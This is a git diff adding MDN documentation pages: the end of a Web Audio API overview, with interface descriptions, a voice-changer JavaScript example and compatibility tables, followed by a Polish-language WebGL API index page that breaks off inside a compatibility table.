+<h3 id="Data_analysis_and_visualization">Data analysis and visualization</h3>
+
+<p>If you want to extract time, frequency, and other data from your audio, the <code>AnalyserNode</code> is what you need.</p>
+
+<dl>
+ <dt>{{domxref("AnalyserNode")}}</dt>
+ <dd>The <strong><code>AnalyserNode</code></strong> interface represents a node able to provide real-time frequency and time-domain analysis information, for the purposes of data analysis and visualization.</dd>
+</dl>
+
+<h3 id="Splitting_and_merging_audio_channels">Splitting and merging audio channels</h3>
+
+<p>To split and merge audio channels, you'll use these interfaces.</p>
+
+<dl>
+ <dt>{{domxref("ChannelSplitterNode")}}</dt>
+ <dd>The <code><strong>ChannelSplitterNode</strong></code> interface separates the different channels of an audio source out into a set of <em>mono</em> outputs.</dd>
+ <dt>{{domxref("ChannelMergerNode")}}</dt>
+ <dd>The <code><strong>ChannelMergerNode</strong></code> interface reunites different mono inputs into a single output. Each input will be used to fill a channel of the output.</dd>
+</dl>
+
+<h3 id="Audio_spatialization">Audio spatialization</h3>
+
+<p>These interfaces allow you to add audio spatialization panning effects to your audio sources.</p>
+
+<dl>
+ <dt>{{domxref("AudioListener")}}</dt>
+ <dd>The <strong><code>AudioListener</code></strong><strong> </strong>interface represents the position and orientation of the unique person listening to the audio scene used in audio spatialization.</dd>
+ <dt>{{domxref("PannerNode")}}</dt>
+ <dd>The <strong><code>PannerNode</code></strong><strong> </strong>interface represents the behavior of a signal in space. It is an {{domxref("AudioNode")}} audio-processing module describing its position with right-hand Cartesian coordinates, its movement using a velocity vector and its directionality using a directionality cone.</dd>
+</dl>
+
+<h3 id="Audio_processing_in_JavaScript">Audio processing in JavaScript</h3>
+
+<p>You can write JavaScript code to process audio data. To do so, you use the interfaces and events listed below.</p>
+
+<div class="note">
+<p>As of the August 29, 2014 version of the Web Audio API spec. these features have been marked as deprecated, and are soon to be replaced by {{ anch("Audio_Workers") }}.</p>
+</div>
+
+<dl>
+ <dt>{{domxref("ScriptProcessorNode")}}</dt>
+ <dd>The <strong><code>ScriptProcessorNode</code></strong><strong> </strong>interface allows the generation, processing, or analyzing of audio using JavaScript. It is an {{domxref("AudioNode")}} audio-processing module that is linked to two buffers, one containing the current input, one containing the output. An event, implementing the {{domxref("AudioProcessingEvent")}} interface, is sent to the object each time the input buffer contains new data, and the event handler terminates when it has filled the output buffer with data.</dd>
+ <dt>{{event("audioprocess")}} (event)</dt>
+ <dd>The <code>audioprocess</code> event is fired when an input buffer of a Web Audio API {{domxref("ScriptProcessorNode")}} is ready to be processed.</dd>
+ <dt>{{domxref("AudioProcessingEvent")}}</dt>
+ <dd>The <a href="/en-US/docs/Web_Audio_API" title="/en-US/docs/Web_Audio_API">Web Audio API</a> <code>AudioProcessingEvent</code> represents events that occur when a {{domxref("ScriptProcessorNode")}} input buffer is ready to be processed.</dd>
+</dl>
+
+<h3 id="Offlinebackground_audio_processing">Offline/background audio processing</h3>
+
+<p>It is possible to process/render an audio graph very quickly in the background — rendering it to an {{domxref("AudioBuffer")}} rather than to the device's speakers — with the following.</p>
+
+<dl>
+ <dt>{{domxref("OfflineAudioContext")}}</dt>
+ <dd>The <strong><code>OfflineAudioContext</code></strong> interface is an {{domxref("AudioContext")}} interface representing an audio-processing graph built from linked together {{domxref("AudioNode")}}s. In contrast with a standard <code>AudioContext</code>, an <code>OfflineAudioContext</code> doesn't really render the audio but rather generates it, <em>as fast as it can</em>, in a buffer.</dd>
+ <dt>{{event("complete")}} (event)</dt>
+ <dd>The <code>complete</code> event is fired when the rendering of an {{domxref("OfflineAudioContext")}} is terminated.</dd>
+ <dt>{{domxref("OfflineAudioCompletionEvent")}}</dt>
+ <dd>The <code>OfflineAudioCompletionEvent</code> represents events that occur when the processing of an {{domxref("OfflineAudioContext")}} is terminated. The {{event("complete")}} event implements this interface.</dd>
+</dl>
+
+<h3 id="Audio_Workers" name="Audio_Workers">Audio Workers</h3>
+
+<p>Audio workers provide the ability for direct scripted audio processing to be done inside a <a href="/en-US/docs/Web/Guide/Performance/Using_web_workers">web worker</a> context, and are defined by a couple of interfaces (new as of 29th August 2014). These are not implemented in any browsers yet. When implemented, they will replace {{domxref("ScriptProcessorNode")}}, and the other features discussed in the <a href="#Audio_processing_via_JavaScript">Audio processing in JavaScript</a> section above.</p>
+
+<dl>
+ <dt>{{domxref("AudioWorkerNode")}}</dt>
+ <dd>The AudioWorkerNode interface represents an {{domxref("AudioNode")}} that interacts with a worker thread to generate, process, or analyse audio directly.</dd>
+ <dt>{{domxref("AudioWorkerGlobalScope")}}</dt>
+ <dd>The <code>AudioWorkerGlobalScope</code> interface is a <code>DedicatedWorkerGlobalScope</code>-derived object representing a worker context in which an audio processing script is run; it is designed to enable the generation, processing, and analysis of audio data directly using JavaScript in a worker thread.</dd>
+ <dt>{{domxref("AudioProcessEvent")}}</dt>
+ <dd>This is an <code>Event</code> object that is dispatched to {{domxref("AudioWorkerGlobalScope")}} objects to perform processing.</dd>
+</dl>
+
+<h2 id="Example" name="Example">Obsolete interfaces</h2>
+
+<p>The following interfaces were defined in old versions of the Web Audio API spec, but are now obsolete and have been replaced by other interfaces.</p>
+
+<dl>
+ <dt>{{domxref("JavaScriptNode")}}</dt>
+ <dd>Used for direct audio processing via JavaScript. This interface is obsolete, and has been replaced by {{domxref("ScriptProcessorNode")}}.</dd>
+ <dt>{{domxref("WaveTableNode")}}</dt>
+ <dd>Used to define a periodic waveform. This interface is obsolete, and has been replaced by {{domxref("PeriodicWave")}}.</dd>
+</dl>
+
+<h2 id="Example" name="Example">Example</h2>
+
+<p>This example shows a wide variety of Web Audio API functions being used. You can see this code in action on the <a href="https://mdn.github.io/voice-change-o-matic/">Voice-change-o-matic</a> demo (also check out the <a href="https://github.com/mdn/voice-change-o-matic">full source code at Github</a>) — this is an experimental voice changer toy demo; keep your speakers turned down low when you use it, at least to start!</p>
+
+<p>The Web Audio API lines are highlighted; if you want to find out more about what the different methods, etc. do, have a search around the reference pages.</p>
+
+<pre class="brush: js; highlight:[1,2,9,10,11,12,36,37,38,39,40,41,62,63,72,114,115,121,123,124,125,147,151]">var audioCtx = new (window.AudioContext || window.webkitAudioContext)(); // define audio context
+// Webkit/blink browsers need prefix, Safari won't work without window.
+
+var voiceSelect = document.getElementById("voice"); // select box for selecting voice effect options
+var visualSelect = document.getElementById("visual"); // select box for selecting audio visualization options
+var mute = document.querySelector('.mute'); // mute button
+var drawVisual; // requestAnimationFrame
+
+var analyser = audioCtx.createAnalyser();
+var distortion = audioCtx.createWaveShaper();
+var gainNode = audioCtx.createGain();
+var biquadFilter = audioCtx.createBiquadFilter();
+
+function makeDistortionCurve(amount) { // function to make curve shape for distortion/wave shaper node to use
+  var k = typeof amount === 'number' ? amount : 50,
+    n_samples = 44100,
+    curve = new Float32Array(n_samples),
+    deg = Math.PI / 180,
+    i = 0,
+    x;
+  for ( ; i &lt; n_samples; ++i ) {
+    x = i * 2 / n_samples - 1;
+    curve[i] = ( 3 + k ) * x * 20 * deg / ( Math.PI + k * Math.abs(x) );
+  }
+  return curve;
+};
+
+navigator.getUserMedia (
+  // constraints - only audio needed for this app
+  {
+    audio: true
+  },
+
+  // Success callback
+  function(stream) {
+    source = audioCtx.createMediaStreamSource(stream);
+    source.connect(analyser);
+    analyser.connect(distortion);
+    distortion.connect(biquadFilter);
+    biquadFilter.connect(gainNode);
+    gainNode.connect(audioCtx.destination); // connecting the different audio graph nodes together
+
+    visualize(stream);
+    voiceChange();
+
+  },
+
+  // Error callback
+  function(err) {
+    console.log('The following gUM error occured: ' + err);
+  }
+);
+
+function visualize(stream) {
+  WIDTH = canvas.width;
+  HEIGHT = canvas.height;
+
+  var visualSetting = visualSelect.value;
+  console.log(visualSetting);
+
+  if(visualSetting == "sinewave") {
+    analyser.fftSize = 2048;
+    var bufferLength = analyser.frequencyBinCount; // half the FFT value
+    var dataArray = new Uint8Array(bufferLength); // create an array to store the data
+
+    canvasCtx.clearRect(0, 0, WIDTH, HEIGHT);
+
+    function draw() {
+
+      drawVisual = requestAnimationFrame(draw);
+
+      analyser.getByteTimeDomainData(dataArray); // get waveform data and put it into the array created above
+
+      canvasCtx.fillStyle = 'rgb(200, 200, 200)'; // draw wave with canvas
+      canvasCtx.fillRect(0, 0, WIDTH, HEIGHT);
+
+      canvasCtx.lineWidth = 2;
+      canvasCtx.strokeStyle = 'rgb(0, 0, 0)';
+
+      canvasCtx.beginPath();
+
+      var sliceWidth = WIDTH * 1.0 / bufferLength;
+      var x = 0;
+
+      for(var i = 0; i &lt; bufferLength; i++) {
+
+        var v = dataArray[i] / 128.0;
+        var y = v * HEIGHT/2;
+
+        if(i === 0) {
+          canvasCtx.moveTo(x, y);
+        } else {
+          canvasCtx.lineTo(x, y);
+        }
+
+        x += sliceWidth;
+      }
+
+      canvasCtx.lineTo(canvas.width, canvas.height/2);
+      canvasCtx.stroke();
+    };
+
+    draw();
+
+  } else if(visualSetting == "off") {
+    canvasCtx.clearRect(0, 0, WIDTH, HEIGHT);
+    canvasCtx.fillStyle = "red";
+    canvasCtx.fillRect(0, 0, WIDTH, HEIGHT);
+  }
+
+}
+
+function voiceChange() {
+  distortion.curve = new Float32Array;
+  biquadFilter.gain.value = 0; // reset the effects each time the voiceChange function is run
+
+  var voiceSetting = voiceSelect.value;
+  console.log(voiceSetting);
+
+  if(voiceSetting == "distortion") {
+    distortion.curve = makeDistortionCurve(400); // apply distortion to sound using waveshaper node
+  } else if(voiceSetting == "biquad") {
+    biquadFilter.type = "lowshelf";
+    biquadFilter.frequency.value = 1000;
+    biquadFilter.gain.value = 25; // apply lowshelf filter to sounds using biquad
+  } else if(voiceSetting == "off") {
+    console.log("Voice settings turned off"); // do nothing, as off option was chosen
+  }
+
+}
+
+// event listeners to change visualize and voice settings
+
+visualSelect.onchange = function() {
+  window.cancelAnimationFrame(drawVisual);
+  visualize(stream);
+}
+
+voiceSelect.onchange = function() {
+  voiceChange();
+}
+
+mute.onclick = voiceMute;
+
+function voiceMute() { // toggle to mute and unmute sound
+  if(mute.id == "") {
+    gainNode.gain.value = 0; // gain set to 0 to mute sound
+    mute.id = "activated";
+    mute.innerHTML = "Unmute";
+  } else {
+    gainNode.gain.value = 1; // gain set to 1 to unmute sound
+    mute.id = "";
+    mute.innerHTML = "Mute";
+  }
+}
+</pre>
+
+<h2 id="Specifications">Specifications</h2>
+
+<table class="standard-table">
+ <tbody>
+ <tr>
+ <th scope="col">Specification</th>
+ <th scope="col">Status</th>
+ <th scope="col">Comment</th>
+ </tr>
+ <tr>
+ <td>{{SpecName('Web Audio API')}}</td>
+ <td>{{Spec2('Web Audio API')}}</td>
+ <td> </td>
+ </tr>
+ </tbody>
+</table>
+
+<h2 id="Browser_compatibility">Browser compatibility</h2>
+
+<div>{{CompatibilityTable}}</div>
+
+<div id="compat-desktop">
+<table class="compat-table">
+ <tbody>
+ <tr>
+ <th>Feature</th>
+ <th>Chrome</th>
+ <th>Edge</th>
+ <th>Firefox (Gecko)</th>
+ <th>Internet Explorer</th>
+ <th>Opera</th>
+ <th>Safari (WebKit)</th>
+ </tr>
+ <tr>
+ <td>Basic support</td>
+ <td>14 {{property_prefix("webkit")}}</td>
+ <td>{{CompatVersionUnknown}}</td>
+ <td>23</td>
+ <td>{{CompatNo}}</td>
+ <td>15 {{property_prefix("webkit")}}<br>
+ 22 (unprefixed)</td>
+ <td>6 {{property_prefix("webkit")}}</td>
+ </tr>
+ </tbody>
+</table>
+</div>
+
+<div id="compat-mobile">
+<table class="compat-table">
+ <tbody>
+ <tr>
+ <th>Feature</th>
+ <th>Android</th>
+ <th>Chrome</th>
+ <th>Edge</th>
+ <th>Firefox Mobile (Gecko)</th>
+ <th>Firefox OS</th>
+ <th>IE Phone</th>
+ <th>Opera Mobile</th>
+ <th>Safari Mobile</th>
+ </tr>
+ <tr>
+ <td>Basic support</td>
+ <td>{{CompatNo}}</td>
+ <td>28 {{property_prefix("webkit")}}</td>
+ <td>{{CompatVersionUnknown}}</td>
+ <td>25</td>
+ <td>1.2</td>
+ <td>{{CompatNo}}</td>
+ <td>{{CompatNo}}</td>
+ <td>6 {{property_prefix("webkit")}}</td>
+ </tr>
+ </tbody>
+</table>
+</div>
+
+<h2 id="See_also">See also</h2>
+
+<ul>
+ <li><a href="/en-US/docs/Web/API/Web_Audio_API/Using_Web_Audio_API">Using the Web Audio API</a></li>
+ <li><a href="/en-US/docs/Web/API/Web_Audio_API/Visualizations_with_Web_Audio_API">Visualizations with Web Audio API</a></li>
+ <li><a href="http://mdn.github.io/voice-change-o-matic/">Voice-change-O-matic example</a></li>
+ <li><a href="http://mdn.github.io/violent-theremin/">Violent Theremin example</a></li>
+ <li><a href="/en-US/docs/Web/API/Web_Audio_API/Web_audio_spatialisation_basics">Web audio spatialisation basics</a></li>
+ <li><a href="http://www.html5rocks.com/tutorials/webaudio/positional_audio/" title="http://www.html5rocks.com/tutorials/webaudio/positional_audio/">Mixing Positional Audio and WebGL</a></li>
+ <li><a href="http://www.html5rocks.com/tutorials/webaudio/games/" title="http://www.html5rocks.com/tutorials/webaudio/games/">Developing Game Audio with the Web Audio API</a></li>
+ <li><a href="/en-US/docs/Web/API/Web_Audio_API/Porting_webkitAudioContext_code_to_standards_based_AudioContext" title="/en-US/docs/Web_Audio_API/Porting_webkitAudioContext_code_to_standards_based_AudioContext">Porting webkitAudioContext code to standards based AudioContext</a></li>
+ <li><a href="https://github.com/bit101/tones">Tones</a>: a simple library for playing specific tones/notes using the Web Audio API.</li>
+ <li><a href="https://github.com/goldfire/howler.js/">howler.js</a>: a JS audio library that defaults to <a href="https://dvcs.w3.org/hg/audio/raw-file/tip/webaudio/specification.html">Web Audio API</a> and falls back to <a href="http://www.whatwg.org/specs/web-apps/current-work/#the-audio-element">HTML5 Audio</a>, as well as providing other useful features.</li>
+ <li><a href="https://github.com/mattlima/mooog">Mooog</a>: jQuery-style chaining of AudioNodes, mixer-style sends/returns, and more.</li>
+</ul>
+
+<section id="Quick_Links">
+<h3 id="Quicklinks">Quicklinks</h3>
+
+<ol>
+ <li data-default-state="open"><strong><a href="#">Guides</a></strong>
+
+ <ol>
+ <li><a href="/en-US/docs/Web/API/Web_Audio_API/Basic_concepts_behind_Web_Audio_API">Basic concepts behind Web Audio API</a></li>
+ <li><a href="/en-US/docs/Web/API/Web_Audio_API/Using_Web_Audio_API">Using the Web Audio API</a></li>
+ <li><a href="/en-US/docs/Web/API/Web_Audio_API/Visualizations_with_Web_Audio_API">Visualizations with Web Audio API</a></li>
+ <li><a href="/en-US/docs/Web/API/Web_Audio_API/Web_audio_spatialization_basics">Web audio spatialization basics</a></li>
+ <li><a href="/en-US/docs/Web/API/Web_Audio_API/Porting_webkitAudioContext_code_to_standards_based_AudioContext" title="/en-US/docs/Web_Audio_API/Porting_webkitAudioContext_code_to_standards_based_AudioContext">Porting webkitAudioContext code to standards based AudioContext</a></li>
+ </ol>
+ </li>
+ <li data-default-state="open"><strong><a href="#">Examples</a></strong>
+ <ol>
+ <li><a href="/en-US/docs/Web/API/Web_Audio_API/Simple_synth">Simple synth keyboard</a></li>
+ <li><a href="http://mdn.github.io/voice-change-o-matic/">Voice-change-O-matic</a></li>
+ <li><a href="http://mdn.github.io/violent-theremin/">Violent Theremin</a></li>
+ </ol>
+ </li>
+ <li data-default-state="open"><strong><a href="#">Interfaces</a></strong>
+ <ol>
+ <li>{{domxref("AnalyserNode")}}</li>
+ <li>{{domxref("AudioBuffer")}}</li>
+ <li>{{domxref("AudioBufferSourceNode")}}</li>
+ <li>{{domxref("AudioContext")}}</li>
+ <li>{{domxref("AudioDestinationNode")}}</li>
+ <li>{{domxref("AudioListener")}}</li>
+ <li>{{domxref("AudioNode")}}</li>
+ <li>{{domxref("AudioParam")}}</li>
+ <li>{{event("audioprocess")}} (event)</li>
+ <li>{{domxref("AudioProcessingEvent")}}</li>
+ <li>{{domxref("BiquadFilterNode")}}</li>
+ <li>{{domxref("ChannelMergerNode")}}</li>
+ <li>{{domxref("ChannelSplitterNode")}}</li>
+ <li>{{event("complete")}} (event)</li>
+ <li>{{domxref("ConvolverNode")}}</li>
+ <li>{{domxref("DelayNode")}}</li>
+ <li>{{domxref("DynamicsCompressorNode")}}</li>
+ <li>{{event("ended_(Web_Audio)", "ended")}} (event)</li>
+ <li>{{domxref("GainNode")}}</li>
+ <li>{{domxref("MediaElementAudioSourceNode")}}</li>
+ <li>{{domxref("MediaStreamAudioDestinationNode")}}</li>
+ <li>{{domxref("MediaStreamAudioSourceNode")}}</li>
+ <li>{{domxref("OfflineAudioCompletionEvent")}}</li>
+ <li>{{domxref("OfflineAudioContext")}}</li>
+ <li>{{domxref("OscillatorNode")}}</li>
+ <li>{{domxref("PannerNode")}}</li>
+ <li>{{domxref("PeriodicWave")}}</li>
+ <li>{{domxref("ScriptProcessorNode")}}</li>
+ <li>{{domxref("WaveShaperNode")}}</li>
+ </ol>
+ </li>
+</ol>
+</section>
diff --git a/files/pl/web/api/webgl_api/index.html b/files/pl/web/api/webgl_api/index.html
new file mode 100644
index 0000000000..a3cc7bb3d0
--- /dev/null
+++ b/files/pl/web/api/webgl_api/index.html
@@ -0,0 +1,252 @@
+---
+title: WebGL
+slug: Web/API/WebGL_API
+tags:
+ - WebGL
+translation_of: Web/API/WebGL_API
+---
+<div>{{WebGLSidebar}}</div>
+
+<p class="summary">WebGL (Web Graphics Library) to API języka JavaScript służące do renderowania (rysowania) interaktywnej grafiki 3D i 2D poprzez kompatybilną przeglądarkę bez używania pluginów. WebGL został oparty na API OpenGL ES 2.0 i może zostać wykorzystany do pracy z elementem {{HTMLElement("canvas")}}.</p>
+
+<p>Aktualnie Jest wspierany przez <a href="/en-US/Firefox" title="Firefox 4 for developers">Firefox</a> 4+, <a href="http://www.google.com/chrome/" title="http://www.google.com/chrome/">Google Chrome</a> 9+, <a href="http://www.opera.com/" title="http://www.opera.com/">Opera</a> 12+, <a href="http://www.apple.com/safari/" title="http://www.apple.com/fr/safari/">Safari </a>5.1+ i <a href="http://windows.microsoft.com/en-us/internet-explorer/browser-ie" title="http://windows.microsoft.com/en-us/internet-explorer/download-ie">Internet Explorer</a> 11+; ponad to urządzenie użytkownika musi także spełniać odpowiednie warunki sprzętowe, aby móc obsłużyć WebGL (przede wszystkim obsługiwać OpenGL co najmniej w wersji 2.0).</p>
+
+<div class="cleared row topicpage-table">
+<div class="section">
+<h2 class="Documentation" id="Tematy">Tematy</h2>
+
+<dl>
+ <dt><a href="/en-US/docs/WebGL/Getting_started_with_WebGL" title="WebGL/Getting started with WebGL">Rozpocznij pracę z WebGL </a></dt>
+ <dd>Czyli jak stworzyć pierwszy kontekst WebGL.</dd>
+ <dt><a href="/en-US/docs/WebGL/Adding_2D_content_to_a_WebGL_context" title="WebGL/Adding 2D content to a WebGL context">Dodawanie grafiki 2D do kontekstu WebGL</a></dt>
+ <dd>Czyli jak wyświetlić proste kształty używając WebGL.</dd>
+ <dt><a href="/en-US/docs/WebGL/Using_shaders_to_apply_color_in_WebGL" title="WebGL/Using shaders to apply color in WebGL">Nakładamy kolory używając shaderów w WebGL</a></dt>
+ <dd>Czyli jak dodać nieco koloru naszym figurom w WebGL</dd>
+ <dt><a href="/en-US/docs/WebGL/Animating_objects_with_WebGL" title="WebGL/Animating objects with WebGL">Animacja obiektów w WebGL</a></dt>
+ <dd>Pokażemy jak zmieniać i przekształcać obiekty na potrzeby prostej animacji.</dd>
+ <dt><a href="/en-US/docs/WebGL/Creating_3D_objects_using_WebGL" title="WebGL/Creating 3D objects using WebGL">Tworzenie obiektów 3D używając WebGL</a></dt>
+ <dd>Pokażemy jak tworzyć i animować obiekty 3D (w tym przykładzie, sześcian).</dd>
+ <dt><a href="/en-US/docs/WebGL/Using_textures_in_WebGL" title="WebGL/Using textures in WebGL">Tworzenie tekstur w WebGL</a></dt>
+ <dd>Zademonstrowanie tworzenia map tekstur, na obiektach.</dd>
+ <dt><a href="/en-US/docs/WebGL/Lighting_in_WebGL" title="WebGL/Lighting in WebGL">Światła w WebGL</a></dt>
+ <dd>Jak zasymulować efekty świetlne w twoim kontekście WebGL.</dd>
+ <dt><a href="/en-US/docs/WebGL/Animating_textures_in_WebGL" title="WebGL/Animating textures in WebGL">Animacja tekstur w WebGL</a></dt>
+ <dd>Pokaz, jak animować tekstury, w tym przypadku mapowanie strumienia Ogg na obracającym się sześcianie.</dd>
+ <dt><a href="/en-US/docs/WebGL/WebGL_best_practices" title="WebGL/WebGL best practices">WebGL - najlepsze praktyki</a></dt>
+ <dd>Porady i sugestie na wdrożenie zawartości WebGL.</dd>
+ <dt><a href="/en-US/docs/WebGL/Cross-Domain_Textures" title="WebGL/Cross-Domain Textures">Cross-domain textures</a></dt>
+ <dd>Informacje na temat załadowania tekstur dla domen innych niż aktualne informacje, które są przetwarzane.</dd>
+ <dt><a href="/en-US/docs/WebGL/Using_Extensions" title="WebGL/Using_Extensions">Używanie rozszerzeń</a></dt>
+ <dd>Jak używać rozszerzeń aby włączyć je w WebGL.</dd>
+</dl>
+</div>
+
+<div class="section">
+<h2 class="Related_Topics" id="Zasoby">Zasoby</h2>
+
+<dl>
+ <dt><a href="https://www.youtube.com/embed/H4c8t6myAWU/?feature=player_detailpage">Raw WebGL: An introduction to WebGL</a></dt>
+ <dd>Rozmowa z Nick Desaulniers o wprowadzająca do podstaw WebGL. To jest idealne miejsce aby zacząć jeśli nigdy nie programowałeś grafiki niskopoziomowej.</dd>
+ <dt><a class="link-https" href="https://www.khronos.org/registry/webgl/specs/1.0/" title="https://www.khronos.org/registry/webgl/specs/1.0/">WebGL - Specyfikacje</a></dt>
+ <dd>Specyfikacja WebGL.</dd>
+ <dt><a href="http://www.khronos.org/webgl/" title="http://www.khronos.org/webgl/">Strona Khronos WebGL</a></dt>
+ <dd>Strona domowa WebGL w Khronos Group.</dd>
+ <dt><a href="http://learningwebgl.com/blog/?page_id=1217" title="http://learningwebgl.com/blog/">Learning WebGL</a></dt>
+ <dd>Strona z tutorialami na temat jak używać WebGL.</dd>
+ <dt><a href="http://www.html5rocks.com/en/tutorials/webgl/webgl_fundamentals/" title="http://www.html5rocks.com/en/tutorials/webgl/webgl_fundamentals/">WebGL Fundamentals</a></dt>
+ <dd>Tutorial z podstawami WebGL.</dd>
+ <dt><a href="http://games.greggman.com/game/webgl-2d-matrices/">WebGL Matrices</a></dt>
+ <dd>Wprowadzenie metryk używając 2D WebGL. Ta seria wyjaśnia także matematyczne zależności perspektyw 3D.</dd>
+ <dt><a href="http://learningwebgl.com/cookbook/index.php/" title="http://learningwebgl.com/cookbook/index.php/">The WebGL Cookbook</a></dt>
+ <dd>Strona z poręcznymi przykładami kodu WebGL.</dd>
+ <dt><a href="http://planet-webgl.org/" title="http://planet-webgl.org/">Planet WebGL</a></dt>
+ <dd>Agregat dla ludzi zaangażowanych w społeczność WebGL.</dd>
+ <dt><a href="http://code.google.com/p/ewgl-matrices/" title="http://code.google.com/p/ewgl-matrices/">ewgl-matrices</a></dt>
+ <dd>Biblioteka 'blazing fast matrix' dla WebGL</dd>
+ <dt><a class="link-https" href="https://github.com/toji/gl-matrix" title="https://github.com/toji/gl-matrix">glMatrix</a></dt>
+ <dd>Biblioteka JavaScript Matrix and Vector dla wysoko wydajnych app WebGL.</dd>
+ <dt><a href="http://code.google.com/p/webgl-mjs/" title="http://code.google.com/p/webgl-mjs/">mjs</a></dt>
+ <dd><span>A JavaScript vector and matrix math library, optimized for WebGL usage.</span></dd>
+ <dt><a href="http://sylvester.jcoglan.com/" title="http://sylvester.jcoglan.com/">Sylvester</a></dt>
+ <dd>Biblioteka Open Source do manipulowania wektorami i metrykami. Nie zoptymalizowana pod WebGl (eksperymentalna).</dd>
+ <dt><a href="http://webglplayground.net" title="http://webglplayground.net">WebGL playground</a></dt>
+ <dd>Narzędzia online do twoarzenia i dzielenia się projektami WebGL. Dobra dla szybkich prototypów i eksperymenotwania.</dd>
+ <dt><a href="http://www.webglacademy.com" title="http://www.webglacademy.com">WebGL Academy</a></dt>
+ <dd>HTML/Javascript edytor z tutorialami do nauki podstaw programowania WebGL.</dd>
+ <dt> </dt>
+</dl>
+</div>
+</div>
+
+<h2 id="Browser_compatibility">Browser compatibility</h2>
+
+<div>{{CompatibilityTable}}</div>
+
+<div id="compat-desktop">
+<table class="compat-table">
+ <tbody>
+ <tr>
+ <th>Feature</th>
+ <th>Firefox (Gecko)</th>
+ <th>Chrome</th>
+ <th>Internet Explorer</th>
+ <th>Opera</th>
+ <th>Safari</th>
+ </tr>
+ <tr>
+ <td>Basic support</td>
+ <td>{{CompatGeckoDesktop("2.0")}}</td>
+ <td>9</td>
+ <td>11</td>
+ <td>12 (experiment)</td>
+ <td>5.1 (experiment)</td>
+ </tr>
+ <tr>
+ <td><a href="http://www.khronos.org/registry/gles/extensions/OES/OES_texture_float.txt" title="http://www.khronos.org/registry/gles/extensions/OES/OES_texture_float.txt"><code>OES_texture_float</code></a></td>
+ <td>{{CompatGeckoDesktop("6.0")}}</td>
+ <td>{{CompatUnknown}}</td>
+ <td>{{CompatUnknown}}</td>
+ <td>{{CompatUnknown}}</td>
+ <td>{{CompatUnknown}}</td>
+ </tr>
+ <tr>
+ <td><a href="http://www.khronos.org/registry/webgl/extensions/OES_standard_derivatives/" title="http://www.khronos.org/registry/webgl/extensions/OES_standard_derivatives/"><code>OES_standard_derivatives</code></a></td>
+ <td>{{CompatGeckoDesktop("10.0")}}</td>
+ <td>{{CompatUnknown}}</td>
+ <td>{{CompatUnknown}}</td>
+ <td>{{CompatUnknown}}</td>
+ <td>{{CompatUnknown}}</td>
+ </tr>
+ <tr>
+ <td><a href="/en-US/docs/WebGL/Using_Extensions#EXT_texture_filter_anisotropic" title="WebGL/Using_Extensions#EXT_texture_filter_anisotropic"><code>EXT_texture_filter_anisotropic</code></a></td>
+ <td>{{CompatGeckoDesktop("13.0")}}</td>
+ <td>{{CompatUnknown}}</td>
+ <td>{{CompatUnknown}}</td>
+ <td>{{CompatUnknown}}</td>
+ <td>{{CompatUnknown}}</td>
+ </tr>
+ <tr>
+ <td><a href="/en-US/docs/WebGL/Using_Extensions#WEBGL_compressed_texture_s3tc" title="WebGL/Using_Extensions#WEBGL_compressed_texture_s3tc"><code>WEBGL_compressed_texture_s3tc</code></a></td>
+ <td>{{CompatGeckoDesktop("15.0")}}</td>
+ <td>{{CompatUnknown}}</td>
+ <td>{{CompatUnknown}}</td>
+ <td>{{CompatUnknown}}</td>
+ <td>{{CompatUnknown}}</td>
+ </tr>
+ <tr>
+ <td><code>drawingBufferWidth</code> and <code>drawingBufferHeight</code> attributes</td>
+ <td>{{CompatGeckoDesktop("9.0")}}</td>
+ <td>{{CompatUnknown}}</td>
+ <td>{{CompatUnknown}}</td>
+ <td>{{CompatUnknown}}</td>
+ <td>{{CompatUnknown}}</td>
+ </tr>
+ </tbody>
+</table>
+</div>
+
+<div id="compat-mobile">
+<table class="compat-table">
+ <tbody>
+ <tr>
+ <th>Feature</th>
+ <th>Firefox Mobile (Gecko)</th>
+ <th>Chrome for Android</th>
+ <th>IE Mobile</th>
+ <th>Opera Mobile</th>
+ <th>Safari Mobile</th>
+ </tr>
+ <tr>
+ <td>Basic support</td>
+ <td>4</td>
+ <td>25 (experiment)</td>
+ <td>{{CompatNo}}</td>
+ <td>12 (experiment)</td>
+ <td>8.1</td>
+ </tr>
+ <tr>
+ <td><code>drawingBufferWidth</code> and <code>drawingBufferHeight</code> attributes</td>
+ <td>{{CompatGeckoMobile("9.0")}}</td>
+ <td>25</td>
+ <td>{{CompatUnknown}}</td>
+ <td>{{CompatUnknown}}</td>
+ <td>{{CompatUnknown}}</td>
+ </tr>
+ <tr>
+ <td><a href="http://www.khronos.org/registry/gles/extensions/OES/OES_texture_float.txt" title="http://www.khronos.org/registry/gles/extensions/OES/OES_texture_float.txt"><code>OES_texture_float</code></a></td>
+ <td>{{CompatGeckoMobile("6.0")}}</td>
+ <td>25</td>
+ <td>{{CompatUnknown}}</td>
+ <td>{{CompatUnknown}}</td>
+ <td>{{CompatUnknown}}</td>
+ </tr>
+ <tr>
+ <td><a href="http://www.khronos.org/registry/webgl/extensions/OES_standard_derivatives/" title="http://www.khronos.org/registry/webgl/extensions/OES_standard_derivatives/"><code>OES_standard_derivatives</code></a></td>
+ <td>{{CompatGeckoMobile("10.0")}}</td>
+ <td>25</td>
+ <td>{{CompatUnknown}}</td>
+ <td>{{CompatUnknown}}</td>
+ <td>{{CompatUnknown}}</td>
+ </tr>
+ <tr>
+ <td><a href="/en-US/docs/WebGL/Using_Extensions#EXT_texture_filter_anisotropic" title="WebGL/Using_Extensions#EXT_texture_filter_anisotropic"><code>EXT_texture_filter_anisotropic</code></a></td>
+ <td>{{CompatGeckoMobile("13.0")}}</td>
+ <td>25</td>
+ <td>{{CompatUnknown}}</td>
+ <td>{{CompatUnknown}}</td>
+ <td>{{CompatUnknown}}</td>
+ </tr>
+ <tr>
+ <td><code>OES_element_index_uint</code></td>
+ <td>{{CompatUnknown}}</td>
+ <td>25</td>
+ <td>{{CompatUnknown}}</td>
+ <td>{{CompatUnknown}}</td>
+ <td>{{CompatUnknown}}</td>
+ </tr>
+ <tr>
+ <td><code>OES_vertex_array_object</code></td>
+ <td>{{CompatUnknown}}</td>
+ <td>25</td>
+ <td>{{CompatUnknown}}</td>
+ <td>{{CompatUnknown}}</td>
+ <td>{{CompatUnknown}}</td>
+ </tr>
+ <tr>
+ <td><a href="/en-US/docs/WebGL/Using_Extensions#WEBGL_compressed_texture_s3tc" title="WebGL/Using_Extensions#WEBGL_compressed_texture_s3tc"><code>WEBGL_compressed_texture_s3tc</code></a></td>
+ <td>{{CompatGeckoMobile("15.0")}}</td>
+ <td>25<br>
